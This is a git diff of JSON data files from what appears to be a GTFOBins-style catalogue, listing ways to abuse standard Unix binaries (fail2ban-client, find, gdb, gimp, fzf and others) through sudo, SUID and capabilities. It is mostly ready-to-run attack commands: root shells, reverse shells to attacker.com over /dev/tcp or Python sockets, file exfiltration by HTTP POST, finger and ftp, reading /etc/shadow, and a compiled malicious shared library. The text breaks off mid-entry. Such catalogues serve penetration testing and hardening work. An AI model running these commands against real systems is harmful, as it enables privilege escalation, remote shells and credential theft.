a/gtfo/data/fail2ban-client.json b/gtfo/data/fail2ban-client.json new file mode 100644 index 0000000..b326103 --- /dev/null +++ b/gtfo/data/fail2ban-client.json @@ -0,0 +1,14 @@ +{ + "functions": { + "sudo": [ + { + "description": "", + "code": "COMMAND=\"id\"\nsudo fail2ban-client add woot\nsudo fail2ban-client set woot addaction wootaction\nsudo fail2ban-client set woot action wootaction actionban \"$COMMAND\"\nsudo fail2ban-client start woot\nsudo fail2ban-client set woot banip 999.999.999.999\nsudo fail2ban-client set woot unbanip 999.999.999.999\nsudo fail2ban-client stop woot\n" + }, + { + "description": "Loading tempered configuration file including code.\nRequires restarting the service.\nSince we, most likely, can't write into /etc/fail2ban/, we can copy the configuration folder to a temporary location and load this copy.\n", + "code": "TD_conf=$(mktemp -d)\nrsync -av /etc/fail2ban/ $TD_conf\nTD_exploit=$(mktemp -d)\ncat > $TD_exploit/exploit < $TD_conf/action.d/custom-start-command.conf <> $TD_conf/jail.local < $TD_conf/filter.d/my-custom-jail.conf < \"$TD/any.wav\"\necho -e '#include \\n#include \\n__attribute__((constructor)) static void setup(void) {\\nsetgid(0);\\nsetuid(0);\\nsystem(\"/bin/sh -c reset\");\\nsystem(\"/bin/sh\");\\n}' | gcc -x c -shared -fPIC -o $TD/libgtfo.so - \nsudo ffmpeg -i $TD/any.wav -af \"ladspa=file=$TD/libgtfo.so\" -f null a.wav\n" + } + ] + } +} diff --git a/gtfo/data/file.json b/gtfo/data/file.json index 1956bc8..f648083 100644 --- a/gtfo/data/file.json +++ b/gtfo/data/file.json @@ -2,24 +2,24 @@ "functions": { "file-read": [ { - "description": "Each input line is treated as a filename for the 'file' command and the output is corrupted by a suffix ':' followed by the result or the error of the operation, so this may not be suitable for binary files.", - "code": "file -f [file]\n" + "description": "Each input line is treated as a filename for the `file` command and the output is corrupted by a suffix `:` followed by the result or the error of the operation, so this may not be suitable for binary files.", + "code": "LFILE=file_to_read\nfile -f $LFILE\n" }, { - "description": "Each line is corrupted by a prefix string and wrapped inside quotes, so this may not be suitable for binary files. If a line in the target file begins with a '#', it will not be printed as these lines are parsed as comments. It can also be provided with a directory and will read each file in the directory.", - "code": "file -m [file]\n" + "description": "Each line is corrupted by a prefix string and wrapped inside quotes, so this may not be suitable for binary files.\n\nIf a line in the target file begins with a `#`, it will not be printed as these lines are parsed as comments.\n\nIt can also be provided with a directory and will read each file in the directory.\n", + "code": "LFILE=file_to_read\nfile -m $LFILE\n" } ], "suid": [ { - "description": "Each input line is treated as a filename for the 'file' command and the output is corrupted by a suffix ':' followed by the result or the error of the operation, so this may not be suitable for binary files.", - "code": "./file -f [file]\n" + "description": "Each input line is treated as a filename for the `file` command and the output is corrupted by a suffix `:` followed by the result or the error of the operation, so this may not be suitable for binary files.", + "code": "LFILE=file_to_read\n./file -f $LFILE\n" } ], "sudo": [ { - "description": "Each input line is treated as a filename for the 'file' command and the output is corrupted by a suffix ':' followed by the result or the error of the operation, so this may not be suitable for binary files.", - "code": "sudo file -f [file]\n" + "description": "Each input line is treated as a filename for the `file` command and the output is corrupted by a suffix `:` followed by the result or the error of the operation, so this may not be suitable for binary files.", + "code": "LFILE=file_to_read\nsudo file -f $LFILE\n" } ] } diff --git a/gtfo/data/find.json b/gtfo/data/find.json index 83cf110..f695a1f 100644 --- a/gtfo/data/find.json +++ b/gtfo/data/find.json @@ -2,18 +2,33 @@ "functions": { "shell": [ { - "code": "find . -exec /bin/sh \\; -quit" + + "code": "find . -exec /bin/sh \\; -quit\n" } ], "suid": [ { - "code": "./find . -exec /bin/sh -p \\; -quit" + + "code": "./find . -exec /bin/sh -p \\; -quit\n" } ], "sudo": [ { - "code": "sudo find . -exec /bin/sh \\; -quit" + + "code": "sudo find . -exec /bin/sh \\; -quit\n" + } + ], + "file-write": [ + { + "description": "DATA is a format string, it supports some escape sequences.", + "code": "LFILE=file_to_write\nfind / -fprintf \"$FILE\" DATA -quit\n" + } + ], + "file-read": [ + { + "description": "", + "code": "find /etc -name shadow -exec cat {} \\;\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/finger.json b/gtfo/data/finger.json index 8eb06f9..9595ad1 100644 --- a/gtfo/data/finger.json +++ b/gtfo/data/finger.json @@ -1,17 +1,16 @@ { - "description": "'finger' hangs waiting for the remote peer to close the socket.", "functions": { "file-upload": [ { - "description": "Send a binary file to a TCP port. Run 'sudo nc -l -p 79 | base64 -d > [file]' on the attacker box to collect the file. The file length is limited by the maximum size of arguments.", - "code": "finger \"$(base64 [file])@[host]\"\n" + "description": "Send a binary file to a TCP port. Run `sudo nc -l -p 79 | base64 -d > \"file_to_save\"` on the attacker box to collect the file. The file length is limited by the maximum size of arguments.", + "code": "RHOST=attacker.com\nLFILE=file_to_send\nfinger \"$(base64 $LFILE)@$RHOST\"\n" } ], "file-download": [ { - "description": "Fetch remote binary file from a remote TCP port. Run 'base64 [file] | sudo nc -l -p 79' on the attacker box to send the file.", - "code": "finger x@[host] | base64 -d > [file]\n" + "description": "Fetch remote binary file from a remote TCP port. Run `base64 \"file_to_send\" | sudo nc -l -p 79` on the attacker box to send the file.", + "code": "RHOST=attacker.com\nLFILE=file_to_save\nfinger x@$RHOST | base64 -d > \"$LFILE\"\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/fish.json b/gtfo/data/fish.json new file mode 100644 index 0000000..92135a8 --- /dev/null +++ b/gtfo/data/fish.json @@ -0,0 +1,22 @@ +{ + "functions": { + "shell": [ + { + + "code": "fish\n" + } + ], + "suid": [ + { + + "code": "./fish\n" + } + ], + "sudo": [ + { + + "code": "sudo fish\n" + } + ] + } +} diff --git a/gtfo/data/flock.json b/gtfo/data/flock.json index fe86de7..69a5152 100644 --- a/gtfo/data/flock.json +++ b/gtfo/data/flock.json @@ -2,18 +2,21 @@ "functions": { "shell": [ { - "code": "flock -u / /bin/sh" + + "code": "flock -u / /bin/sh\n" } ], "suid": [ { - "code": "./flock -u / /bin/sh -p" + + "code": "./flock -u / /bin/sh -p\n" } ], "sudo": [ { - "code": "sudo flock -u / /bin/sh" + + "code": "sudo flock -u / /bin/sh\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/fmt.json b/gtfo/data/fmt.json index 04454f7..1991124 100644 --- a/gtfo/data/fmt.json +++ b/gtfo/data/fmt.json @@ -1,27 +1,26 @@ { - "description": "The read file content is not binary-safe.", "functions": { "file-read": [ { "description": "This only works for the GNU version of `fmt`.", - "code": "fmt -pNON_EXISTING_PREFIX [file]\n" + "code": "LFILE=file_to_read\nfmt -pNON_EXISTING_PREFIX \"$LFILE\"\n" }, { "description": "This corrupts the output by wrapping very long lines at the given width.", - "code": "fmt -999 [file]\n" + "code": "LFILE=file_to_read\nfmt -999 \"$LFILE\"\n" } ], "suid": [ { "description": "This corrupts the output by wrapping very long lines at the given width.", - "code": "./fmt -999 [file]\n" + "code": "LFILE=file_to_read\n./fmt -999 \"$LFILE\"\n" } ], "sudo": [ { "description": "This corrupts the output by wrapping very long lines at the given width.", - "code": "sudo fmt -999 [file]\n" + "code": "LFILE=file_to_read\nsudo fmt -999 \"$LFILE\"\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/fold.json b/gtfo/data/fold.json index 22caeb8..c69d879 100644 --- a/gtfo/data/fold.json +++ b/gtfo/data/fold.json @@ -2,18 +2,21 @@ "functions": { "file-read": [ { - "code": "fold -w99999999 [file]\n" + + "code": "LFILE=file_to_read\nfold -w99999999 \"$LFILE\"\n" } ], "suid": [ { - "code": "./fold -w99999999 [file]\n" + + "code": "LFILE=file_to_read\n./fold -w99999999 \"$LFILE\"\n" } ], "sudo": [ { - "code": "sudo fold -w99999999 [file]\n" + + "code": "LFILE=file_to_read\nsudo fold -w99999999 \"$LFILE\"\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/fping.json b/gtfo/data/fping.json new file mode 100644 index 0000000..0e94e84 --- /dev/null +++ b/gtfo/data/fping.json @@ -0,0 +1,16 @@ +{ + "functions": { + "file-read": [ + { + + "code": "LFILE=file_to_read\nfping -f $LFILE\n" + } + ], + "sudo": [ + { + + "code": "LFILE=file_to_read\nsudo fping -f $LFILE\n" + } + ] + } +} diff --git a/gtfo/data/ftp.json b/gtfo/data/ftp.json index 2800705..5e27fc5 100644 --- a/gtfo/data/ftp.json +++ b/gtfo/data/ftp.json @@ -2,25 +2,27 @@ "functions": { "shell": [ { + "code": "ftp\n!/bin/sh\n" } ], "file-upload": [ { "description": "Send local file to a FTP server.", - "code": "ftp [host]\nput [file]\n" + "code": "RHOST=attacker.com\nftp $RHOST\nput file_to_send\n" } ], "file-download": [ { "description": "Fetch a remote file from a FTP server.", - "code": "ftp [host]\nget [file]\n" + "code": "RHOST=attacker.com\nftp $RHOST\nget file_to_get\n" } ], "sudo": [ { + "code": "sudo ftp\n!/bin/sh\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/fzf.json b/gtfo/data/fzf.json new file mode 100644 index 0000000..a3cc2af --- /dev/null +++ b/gtfo/data/fzf.json @@ -0,0 +1,90 @@ +{ + "functions": { + "shell": [ + { + "description": "Press ```` when you enter the fzf panel to receive the shell.", + "code": "fzf --bind \"enter:execute(/bin/sh)\"\n" + } + ], + "command": [ + { + "description": "", + "code": "export COMMAND='id'\nfzf --bind \"enter:execute($COMMAND)\"\n" + }, + { + "description": "Set up port forwarding via SSH or Chisel using ``$LPORT``.", + "code": "export LPORT=7777\nexport COMMAND='id'\nfzf --listen=$LPORT\ncurl -X POST localhost:$LPORT -d \"reload($COMMAND)\" # Attacker box\n" + } + ], + "reverse-shell": [ + { + "description": "Run ``nc -l -p 12345`` on the attacker box, then press ```` in the fzf panel to receive the shell.", + "code": "export RHOST=attacker.com\nexport RPORT=12345\nfzf --bind \"enter:execute(/bin/sh -i >& /dev/tcp/$RHOST/$RPORT 0>&1)\"\n" + }, + { + "description": "Set up port forwarding via SSH or Chisel using ``$LPORT``, then run ``nc -l -p 12345`` on the attacker box to receive the shell. It only works with the traditional version of ``nc``.", + "code": "export RHOST=attacker.com\nexport RPORT=12345\nexport LPORT=7777\nfzf --listen=$LPORT\ncurl -X POST localhost:$LPORT -d \"reload(nc $RHOST $RPORT -e /bin/sh)\" # Attacker box\n" + } + ], + "file-upload": [ + { + "description": "Send local file using a TCP connection. Run ``nc -l -p 12345 > \"file_to_save\"`` on the attacker box to collect the file.", + "code": "export RHOST=attacker.com\nexport RPORT=12345\nexport LFILE=file_to_send\nfzf --bind \"enter:execute(cat $LFILE > /dev/tcp/$RHOST/$RPORT)\"\n" + }, + { + "description": "Set up port forwarding via SSH or Chisel using ``$LPORT``, then run ``nc -l -p 12345 > \"file_to_save\"`` on the attacker box to collect the file.", + "code": "export RHOST=attacker.com\nexport RPORT=12345\nexport LPORT=7777\nexport LFILE=file_to_send\nfzf --listen=$LPORT\ncurl -X POST localhost:$LPORT -d \"reload(cat $LFILE > /dev/tcp/$RHOST/$RPORT)\" # Attacker box\n" + } + ], + "file-download": [ + { + "description": "Fetch remote file using a TCP connection. Run ``nc -l -p 12345 < \"file_to_send\"`` on the attacker box to send the file.", + "code": "export RHOST=attacker.com\nexport RPORT=12345\nexport LFILE=file_to_get\nfzf --bind \"enter:execute(cat < /dev/tcp/$RHOST/$RPORT > $LFILE)\"\n" + }, + { + "description": "Set up port forwarding via SSH or Chisel using ``$LPORT``, then run ``nc -l -p 12345 < \"file_to_send\"`` on the attacker box to send the file.", + "code": "export RHOST=attacker.com\nexport RPORT=12345\nexport LPORT=7777\nexport LFILE=file_to_get\nfzf --listen=$LPORT\ncurl -X POST localhost:$LPORT -d \"reload(cat < /dev/tcp/$RHOST/$RPORT > $LFILE)\" # Attacker box\n" + } + ], + "file-write": [ + { + "description": "Press ```` and then ```` when you enter the fzf panel to write the file.", + "code": "export LFILE=file_to_write\nfzf --bind \"enter:execute(echo 'DATA' > $LFILE)\"\n" + }, + { + "description": "Set up port forwarding via SSH or Chisel using ``$LPORT``.", + "code": "export LPORT=7777\nexport LFILE=file_to_write\nfzf --listen=$LPORT\ncurl -X POST localhost:$LPORT -d \"reload(echo 'DATA' > $LFILE)\" # Attacker box\n" + } + ], + "file-read": [ + { + "description": "Press ```` and then ```` when you enter the fzf panel to read the file.", + "code": "export LFILE=file_to_read\nfzf --bind \"enter:execute(/bin/cat $LFILE)\"\n" + }, + { + "description": "Set up port forwarding via SSH or Chisel using ``$LPORT``.", + "code": "export LPORT=7777\nexport LFILE=file_to_read\nfzf --listen=$LPORT\ncurl -X POST localhost:$LPORT -d \"reload(/bin/cat $LFILE)\" # Attacker box\n" + } + ], + "suid": [ + { + "description": "Press ```` when you enter the fzf panel to receive the shell. It only works on Ubuntu.", + "code": "./fzf --bind \"enter:execute(/bin/sh)\"\n" + }, + { + "description": "Set up port forwarding via SSH or Chisel using ``$LPORT``, then run ``nc -l -p 12345`` on the attacker box to receive the shell. It only works on Ubuntu and with the traditional version of ``nc``.", + "code": "export RHOST=attacker.com\nexport RPORT=12345\nexport LPORT=7777\n./fzf --listen=$LPORT\ncurl -X POST localhost:$LPORT -d \"reload(nc $RHOST $RPORT -e /bin/sh)\" # Attacker box\n" + } + ], + "sudo": [ + { + "description": "Press ```` when you enter the fzf panel to receive the shell.", + "code": "sudo fzf --bind \"enter:execute(/bin/sh)\"\n" + }, + { + "description": "Set up port forwarding via SSH or Chisel using ``$LPORT``, then run ``nc -l -p 12345`` on the attacker box to receive the shell. It only works with the traditional version of ``nc``.", + "code": "export RHOST=attacker.com\nexport RPORT=12345\nexport LPORT=7777\nsudo fzf --listen=$LPORT\ncurl -X POST localhost:$LPORT -d \"reload(nc $RHOST $RPORT -e /bin/sh)\" # Attacker box\n" + } + ] + } +} diff --git a/gtfo/data/gawk.json b/gtfo/data/gawk.json index 3897aa0..249cfb7 100644 --- a/gtfo/data/gawk.json +++ b/gtfo/data/gawk.json @@ -2,44 +2,50 @@ "functions": { "shell": [ { - "code": "gawk 'BEGIN {system(\"/bin/sh\")}'" + + "code": "gawk 'BEGIN {system(\"/bin/sh\")}'\n" } ], "non-interactive-reverse-shell": [ { - "description": "Run 'nc -l -p [port]' on the attacker box to receive the shell.", - "code": "gawk 'BEGIN {\n s = \"/inet/tcp/0/[host]/[port]\";\n while (1) {printf \"> \" |& s; if ((s |& getline c) <= 0) break;\n while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'\n" + "description": "Run `nc -l -p 12345` on the attacker box to receive the shell.", + "code": "RHOST=attacker.com\nRPORT=12345\ngawk -v RHOST=$RHOST -v RPORT=$RPORT 'BEGIN {\n s = \"/inet/tcp/0/\" RHOST \"/\" RPORT;\n while (1) {printf \"> \" |& s; if ((s |& getline c) <= 0) break;\n while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'\n" } ], "non-interactive-bind-shell": [ { - "description": "Run 'nc target.com 12345' on the attacker box to connect to the shell.", - "code": "gawk 'BEGIN {\n s = \"/inet/tcp/[port]/0/0\";\n while (1) {printf \"> \" |& s; if ((s |& getline c) <= 0) break;\n while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'\n" + "description": "Run `nc target.com 12345` on the attacker box to connect to the shell.", + "code": "LPORT=12345\ngawk -v LPORT=$LPORT 'BEGIN {\n s = \"/inet/tcp/\" LPORT \"/0/0\";\n while (1) {printf \"> \" |& s; if ((s |& getline c) <= 0) break;\n while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'\n" } ], "file-write": [ { - "code": "gawk 'BEGIN { print \"DATA\" > \"[file]\" }'\n" + + "code": "LFILE=file_to_write\ngawk -v LFILE=$LFILE 'BEGIN { print \"DATA\" > LFILE }'\n" } ], "file-read": [ { - "code": "gawk '//' [file]\n" + + "code": "LFILE=file_to_read\ngawk '//' \"$LFILE\"\n" } ], - "suid": [ + "suid": [ { - "code": "./gawk '//' \"[file]\"" + + "code": "LFILE=file_to_read\n./gawk '//' \"$LFILE\"\n" } ], "sudo": [ { - "code": "sudo gawk 'BEGIN {system(\"/bin/sh\")}'" + + "code": "sudo gawk 'BEGIN {system(\"/bin/sh\")}'\n" } ], "limited-suid": [ { - "code": "./gawk 'BEGIN {system(\"/bin/sh\")}'" + + "code": "./gawk 'BEGIN {system(\"/bin/sh\")}'\n" } ] } diff --git a/gtfo/data/gcc.json b/gtfo/data/gcc.json index b6c2a1e..878bebe 100644 --- a/gtfo/data/gcc.json +++ b/gtfo/data/gcc.json @@ -2,22 +2,30 @@ "functions": { "file-read": [ { - "code": "gcc -x c -E \"[file]\"\n" + + "code": "LFILE=file_to_read\ngcc -x c -E \"$LFILE\"\n" + }, + { + "description": "The file is read and parsed as a list of files (one per line), the content is disaplyed as error messages, thus this might not be suitable to read arbitrary data.", + "code": "LFILE=file_to_read\ngcc @\"$LFILE\"\n" } ], "file-write": [ { - "code": "gcc -xc /dev/null -o [file]\n" + + "code": "LFILE=file_to_delete\ngcc -xc /dev/null -o $LFILE\n" } ], "shell": [ { - "code": "gcc -wrapper /bin/sh,-s ." + + "code": "gcc -wrapper /bin/sh,-s .\n" } ], "sudo": [ { - "code": "sudo gcc -wrapper /bin/sh,-s ." + + "code": "sudo gcc -wrapper /bin/sh,-s .\n" } ] } diff --git a/gtfo/data/gcloud.json b/gtfo/data/gcloud.json new file mode 100644 index 0000000..190ca55 --- /dev/null +++ b/gtfo/data/gcloud.json @@ -0,0 +1,16 @@ +{ + "functions": { + "shell": [ + { + "description": "This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.", + "code": "gcloud help\n!/bin/sh\n" + } + ], + "sudo": [ + { + "description": "This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.", + "code": "sudo gcloud help\n!/bin/sh\n" + } + ] + } +} diff --git a/gtfo/data/gcore.json b/gtfo/data/gcore.json new file mode 100644 index 0000000..073cde8 --- /dev/null +++ b/gtfo/data/gcore.json @@ -0,0 +1,22 @@ +{ + "functions": { + "file-read": [ + { + + "code": "gcore $PID\n" + } + ], + "sudo": [ + { + + "code": "sudo gcore $PID\n" + } + ], + "suid": [ + { + + "code": "./gcore $PID\n" + } + ] + } +} diff --git a/gtfo/data/gdb.json b/gtfo/data/gdb.json index f96df9d..29b6dcd 100644 --- a/gtfo/data/gdb.json +++ b/gtfo/data/gdb.json @@ -2,65 +2,67 @@ "functions": { "shell": [ { - "code": "gdb -nx -ex '!sh' -ex quit" + + "code": "gdb -nx -ex '!sh' -ex quit\n" } ], "reverse-shell": [ { - "description": "This requires that GDB is compiled with Python support. Run 'socat file:`tty`,raw,echo=0 tcp-listen:[port]' on the attacker box to receive the shell.", - "code": "gdb -nx -ex 'python import sys,socket,os,pty;s=socket.socket()\ns.connect((\"[host]\",[port]))\n[os.dup2(s.fileno(),fd) for fd in (0,1,2)]\npty.spawn(\"/bin/sh\")' -ex quit\n" + "description": "This requires that GDB is compiled with Python support. Run ``socat file:`tty`,raw,echo=0 tcp-listen:12345`` on the attacker box to receive the shell.", + "code": "export RHOST=attacker.com\nexport RPORT=12345\ngdb -nx -ex 'python import sys,socket,os,pty;s=socket.socket()\ns.connect((os.getenv(\"RHOST\"),int(os.getenv(\"RPORT\"))))\n[os.dup2(s.fileno(),fd) for fd in (0,1,2)]\npty.spawn(\"/bin/sh\")' -ex quit\n" } ], "file-upload": [ { "description": "This requires that GDB is compiled with Python support. Send local file via \"d\" parameter of a HTTP POST request. Run an HTTP service on the attacker box to collect the file.", - "code": "gdb -nx -ex 'python import sys;\nif sys.version_info.major == 3: import urllib.request as r, urllib.parse as u\nelse: import urllib as u, urllib2 as r\nr.urlopen(\"[url]\", bytes(u.urlencode({\"d\":open(\"[file]\",).read()}).encode()))' -ex quit\n" + "code": "export URL=http://attacker.com/\nexport LFILE=file_to_send\ngdb -nx -ex 'python import sys; from os import environ as e\nif sys.version_info.major == 3: import urllib.request as r, urllib.parse as u\nelse: import urllib as u, urllib2 as r\nr.urlopen(e[\"URL\"], bytes(u.urlencode({\"d\":open(e[\"LFILE\"]).read()}).encode()))' -ex quit\n" }, { "description": "This requires that GDB is compiled with Python support. Serve files in the local folder running an HTTP server.", - "code": "gdb -nx -ex 'python import sys;\nif sys.version_info.major == 3: import http.server as s, socketserver as ss\nelse: import SimpleHTTPServer as s, SocketServer as ss\nss.TCPServer((\"\", [port]), s.SimpleHTTPRequestHandler).serve_forever()' -ex quit\n" + "code": "export LPORT=8888\ngdb -nx -ex 'python import sys; from os import environ as e\nif sys.version_info.major == 3: import http.server as s, socketserver as ss\nelse: import SimpleHTTPServer as s, SocketServer as ss\nss.TCPServer((\"\", int(e[\"LPORT\"])), s.SimpleHTTPRequestHandler).serve_forever()' -ex quit\n" } ], "file-download": [ { "description": "This requires that GDB is compiled with Python support. Fetch a remote file via HTTP GET request.", - "code": "gdb -nx -ex 'python import sys;\nif sys.version_info.major == 3: import urllib.request as r\nelse: import urllib as r\nr.urlretrieve(\"[url]\", \"[file]\",)' -ex quit\n" + "code": "export URL=http://attacker.com/file_to_get\nexport LFILE=file_to_save\ngdb -nx -ex 'python import sys; from os import environ as e\nif sys.version_info.major == 3: import urllib.request as r\nelse: import urllib as r\nr.urlretrieve(e[\"URL\"], e[\"LFILE\"])' -ex quit\n" } ], "file-write": [ { "description": "This requires that GDB is compiled with Python support.", - "code": "gdb -nx -ex \"dump value [file] \\\"DATA\\\"\" -ex quit\n" + "code": "LFILE=file_to_write\ngdb -nx -ex \"dump value $LFILE \\\"DATA\\\"\" -ex quit\n" } ], "file-read": [ { "description": "This requires that GDB is compiled with Python support.", - "code": "gdb -nx -ex 'python print(open(\"[file]\").read())' -ex quit" + "code": "gdb -nx -ex 'python print(open(\"file_to_read\").read())' -ex quit\n" } ], "library-load": [ { "description": "This requires that GDB is compiled with Python support.", - "code": "gdb -nx -ex 'python from ctypes import cdll; cdll.LoadLibrary(\"lib.so\")' -ex quit" + "code": "gdb -nx -ex 'python from ctypes import cdll; cdll.LoadLibrary(\"lib.so\")' -ex quit\n" } ], "suid": [ { "description": "This requires that GDB is compiled with Python support.", - "code": "./gdb -nx -ex 'python import os; os.execl(\"/bin/sh\", \"sh\", \"-p\")' -ex quit" + "code": "./gdb -nx -ex 'python import os; os.execl(\"/bin/sh\", \"sh\", \"-p\")' -ex quit\n" } ], "sudo": [ { - "code": "sudo gdb -nx -ex '!sh' -ex quit" + + "code": "sudo gdb -nx -ex '!sh' -ex quit\n" } ], "capabilities": [ { "description": "This requires that GDB is compiled with Python support.", - "code": "./gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit" + "code": "./gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/gem.json b/gtfo/data/gem.json index 5c2c081..dc65698 100644 --- a/gtfo/data/gem.json +++ b/gtfo/data/gem.json @@ -2,27 +2,27 @@ "functions": { "shell": [ { - "description": "This requires the name of an installed gem to be provided ('rdoc' is usually installed).", - "code": "gem open -e \"/bin/sh -c /bin/sh\" rdoc" + "description": "This requires the name of an installed gem to be provided (`rdoc` is usually installed).", + "code": "gem open -e \"/bin/sh -c /bin/sh\" rdoc\n" }, { - "description": "This invokes the default editor, which is likely to be 'vi', other functions may apply. This requires the name of an installed gem to be provided ('rdoc' is usually installed).", + "description": "This invokes the default editor, which is likely to be [`vi`](/gtfobins/vi/), other functions may apply. This requires the name of an installed gem to be provided (`rdoc` is usually installed).", "code": "gem open rdoc\n:!/bin/sh\n" }, { - "description": "This executes the specified file as 'ruby' code.", + "description": "This executes the specified file as [`ruby`](/gtfobins/ruby/) code.", "code": "TF=$(mktemp -d)\necho 'system(\"/bin/sh\")' > $TF/x\ngem build $TF/x\n" }, { - "description": "This executes the specified file as 'ruby' code.", + "description": "This executes the specified file as [`ruby`](/gtfobins/ruby/) code.", "code": "TF=$(mktemp -d)\necho 'system(\"/bin/sh\")' > $TF/x\ngem install --file $TF/x\n" } ], "sudo": [ { - "description": "This requires the name of an installed gem to be provided ('rdoc' is usually installed).", - "code": "sudo gem open -e \"/bin/sh -c /bin/sh\" rdoc" + "description": "This requires the name of an installed gem to be provided (`rdoc` is usually installed).", + "code": "sudo gem open -e \"/bin/sh -c /bin/sh\" rdoc\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/genie.json b/gtfo/data/genie.json new file mode 100644 index 0000000..98c6756 --- /dev/null +++ b/gtfo/data/genie.json @@ -0,0 +1,22 @@ +{ + "functions": { + "shell": [ + { + + "code": "genie -c '/bin/sh'\n" + } + ], + "suid": [ + { + + "code": "./genie -c '/bin/sh'\n" + } + ], + "sudo": [ + { + + "code": "sudo genie -c '/bin/sh'\n" + } + ] + } +} diff --git a/gtfo/data/genisoimage.json b/gtfo/data/genisoimage.json index f3406b3..591c9e3 100644 --- a/gtfo/data/genisoimage.json +++ b/gtfo/data/genisoimage.json @@ -1,15 +1,22 @@ { - "description": "The output is placed inside the ISO9660 file system binary format thus it may not be suitable for binary content as is, yet it can be mounted or extracted with tools like '7z'.", "functions": { "file-read": [ { - "code": "genisoimage -q -o - \"[file]\"\n" + + "code": "LFILE=file_to_read\ngenisoimage -q -o - \"$LFILE\"\n" + } + ], + "suid": [ + { + "description": "The file is parsed, and some of its content is disclosed by the error messages, thus this might not be suitable to read arbitrary data.", + "code": "LFILE=file_to_read\n./genisoimage -sort \"$LFILE\"\n" } ], "sudo": [ { - "code": "sudo genisoimage -q -o - \"[file]\"\n" + + "code": "LFILE=file_to_read\nsudo genisoimage -q -o - \"$LFILE\"\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/getent.json b/gtfo/data/getent.json new file mode 100644 index 0000000..60709c2 --- /dev/null +++ b/gtfo/data/getent.json @@ -0,0 +1,14 @@ +{ + "functions": { + "suid": [ + { + "description": "", + "code": "# Leak root hash from /etc/shadow via getent SUID binary\n./getent shadow root\n" + }, + { + "description": "", + "code": "# Dump all hashes\n./getent shadow\n" + } + ] + } +} diff --git a/gtfo/data/ghc.json b/gtfo/data/ghc.json index 98959eb..070c02c 100644 --- a/gtfo/data/ghc.json +++ b/gtfo/data/ghc.json @@ -2,12 +2,14 @@ "functions": { "shell": [ { - "code": "ghc -e 'System.Process.callCommand \"/bin/sh\"'" + + "code": "ghc -e 'System.Process.callCommand \"/bin/sh\"'\n" } ], "sudo": [ { - "code": "sudo ghc -e 'System.Process.callCommand \"/bin/sh\"'" + + "code": "sudo ghc -e 'System.Process.callCommand \"/bin/sh\"'\n" } ] } diff --git a/gtfo/data/ghci.json b/gtfo/data/ghci.json index d6d4fb7..bfb9193 100644 --- a/gtfo/data/ghci.json +++ b/gtfo/data/ghci.json @@ -2,11 +2,13 @@ "functions": { "shell": [ { + "code": "ghci\nSystem.Process.callCommand \"/bin/sh\"\n" } ], "sudo": [ { + "code": "sudo ghci\nSystem.Process.callCommand \"/bin/sh\"\n" } ] diff --git a/gtfo/data/gimp.json b/gtfo/data/gimp.json index afb2449..0fba017 100644 --- a/gtfo/data/gimp.json +++ b/gtfo/data/gimp.json @@ -1,57 +1,62 @@ { - "description": "The binary hangs after executing the Python code and can be terminated pressing 'ctrl-c'.", "functions": { "shell": [ { - "code": "gimp -idf --batch-interpreter=python-fu-eval -b 'import os; os.system(\"sh\")'" + + "code": "gimp -idf --batch-interpreter=python-fu-eval -b 'import os; os.system(\"sh\")'\n" } ], "reverse-shell": [ { - "description": "Run 'socat file:`tty`,raw,echo=0 tcp-listen:[port]' on the attacker box to receive the shell.", - "code": "gimp -idf --batch-interpreter=python-fu-eval -b 'import sys,socket,os,pty;s=socket.socket()\ns.connect((\"[host]\", [port]))\n[os.dup2(s.fileno(),fd) for fd in (0,1,2)]\npty.spawn(\"/bin/sh\")'\n" + "description": "Run ``socat file:`tty`,raw,echo=0 tcp-listen:12345`` on the attacker box to receive the shell.", + "code": "export RHOST=attacker.com\nexport RPORT=12345\ngimp -idf --batch-interpreter=python-fu-eval -b 'import sys,socket,os,pty;s=socket.socket()\ns.connect((os.getenv(\"RHOST\"),int(os.getenv(\"RPORT\"))))\n[os.dup2(s.fileno(),fd) for fd in (0,1,2)]\npty.spawn(\"/bin/sh\")'\n" } ], "file-upload": [ { - "description": "Send local file via 'd' parameter of a HTTP POST request. Run an HTTP service on the attacker box to collect the file.", - "code": "gimp -idf --batch-interpreter=python-fu-eval -b 'import sys;\nif sys.version_info.major == 3: import urllib.request as r, urllib.parse as u\nelse: import urllib as u, urllib2 as r\nr.urlopen(\"[url]\", bytes(u.urlencode({\"d\":open(\"[file]\").read()}).encode()))'\n" + "description": "Send local file via \"d\" parameter of a HTTP POST request. Run an HTTP service on the attacker box to collect the file.", + "code": "export URL=http://attacker.com/\nexport LFILE=file_to_send\ngimp -idf --batch-interpreter=python-fu-eval -b 'import sys; from os import environ as e\nif sys.version_info.major == 3: import urllib.request as r, urllib.parse as u\nelse: import urllib as u, urllib2 as r\nr.urlopen(e[\"URL\"], bytes(u.urlencode({\"d\":open(e[\"LFILE\"]).read()}).encode()))'\n" }, { "description": "Serve files in the local folder running an HTTP server.", - "code": "gimp -idf --batch-interpreter=python-fu-eval -b 'import sys;\nif sys.version_info.major == 3: import http.server as s, socketserver as ss\nelse: import SimpleHTTPServer as s, SocketServer as ss\nss.TCPServer((\"\", [port]), s.SimpleHTTPRequestHandler).serve_forever()'\n" + "code": "export LPORT=8888\ngimp -idf --batch-interpreter=python-fu-eval -b 'import sys; from os import environ as e\nif sys.version_info.major == 3: import http.server as s, socketserver as ss\nelse: import SimpleHTTPServer as s, SocketServer as ss\nss.TCPServer((\"\", int(e[\"LPORT\"])), s.SimpleHTTPRequestHandler).serve_forever()'\n" } ], "file-download": [ { "description": "Fetch a remote file via HTTP GET request.", - "code": "gimp -idf 